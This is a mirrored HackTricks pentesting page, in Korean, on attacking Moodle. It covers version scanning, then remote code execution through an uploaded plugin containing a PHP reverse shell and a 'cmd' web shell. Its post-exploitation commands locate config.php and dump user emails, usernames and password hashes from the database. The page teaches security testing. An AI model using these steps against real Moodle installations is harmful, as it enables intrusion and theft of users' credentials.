mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
98 lines
3.4 KiB
Markdown
98 lines
3.4 KiB
Markdown
# Moodle
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## 자동 스캔
|
|
|
|
### droopescan
|
|
```bash
|
|
pip3 install droopescan
|
|
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/
|
|
|
|
[+] Plugins found:
|
|
forum http://moodle.schooled.htb/moodle/mod/forum/
|
|
http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
|
|
http://moodle.schooled.htb/moodle/mod/forum/version.php
|
|
|
|
[+] No themes found.
|
|
|
|
[+] Possible version(s):
|
|
3.10.0-beta
|
|
|
|
[+] Possible interesting urls found:
|
|
Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt)
|
|
Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/)
|
|
|
|
[+] Scan finished (0:00:05.643539 elapsed)
|
|
```
|
|
### moodlescan
|
|
```bash
|
|
#Install from https://github.com/inc0d3/moodlescan
|
|
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
|
|
|
|
Version 0.7 - Dic/2020
|
|
.............................................................................................................
|
|
|
|
By Victor Herrera - supported by www.incode.cl
|
|
|
|
.............................................................................................................
|
|
|
|
Getting server information http://moodle.schooled.htb/moodle/ ...
|
|
|
|
server : Apache/2.4.46 (FreeBSD) PHP/7.4.15
|
|
x-powered-by : PHP/7.4.15
|
|
x-frame-options : sameorigin
|
|
last-modified : Wed, 07 Apr 2021 21:33:41 GMT
|
|
|
|
Getting moodle version...
|
|
|
|
Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta
|
|
|
|
Searching vulnerabilities...
|
|
|
|
|
|
Vulnerabilities found: 0
|
|
|
|
Scan completed.
|
|
```
|
|
### CMSMap
|
|
```bash
|
|
pip3 install git+https://github.com/dionach/CMSmap.git
|
|
cmsmap http://moodle.example.com/<moodle_path>
|
|
```
|
|
### CVEs
|
|
|
|
나는 자동 도구가 **무들 버전에 영향을 미치는 취약점을 찾는 데 매우 쓸모없다는 것을 발견했다**. 당신은 **다음에서 확인할 수 있다**: [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
|
|
|
|
## **RCE**
|
|
|
|
당신은 **관리자** 역할을 가져야 하며 **"사이트 관리"** 탭 안에 **플러그인을 설치할 수 있다**:
|
|
|
|
.png>)
|
|
|
|
관리자라면 여전히 **이 옵션을 활성화해야 할 수도 있다**. 무들 권한 상승 PoC에서 어떻게 하는지 볼 수 있다: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
|
|
|
|
그런 다음, **다음 플러그인을 설치할 수 있다**. 이 플러그인은 고전적인 pentest-monkey php r**ev shell**을 포함하고 있다 (_업로드하기 전에 압축을 풀고, revshell의 IP와 포트를 변경한 후 다시 압축해야 한다_)
|
|
|
|
{{#file}}
|
|
moodle-rce-plugin.zip
|
|
{{#endfile}}
|
|
|
|
또는 [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE)에서 플러그인을 사용하여 "cmd" 매개변수를 가진 일반 PHP 셸을 얻을 수 있다.
|
|
|
|
악성 플러그인을 실행하려면 다음에 접근해야 한다:
|
|
```bash
|
|
http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
|
|
```
|
|
## POST
|
|
|
|
### 데이터베이스 자격 증명 찾기
|
|
```bash
|
|
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
|
|
```
|
|
### 데이터베이스에서 자격 증명 덤프하기
|
|
```bash
|
|
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
|
|
```
|
|
{{#include ../../banners/hacktricks-training.md}}
|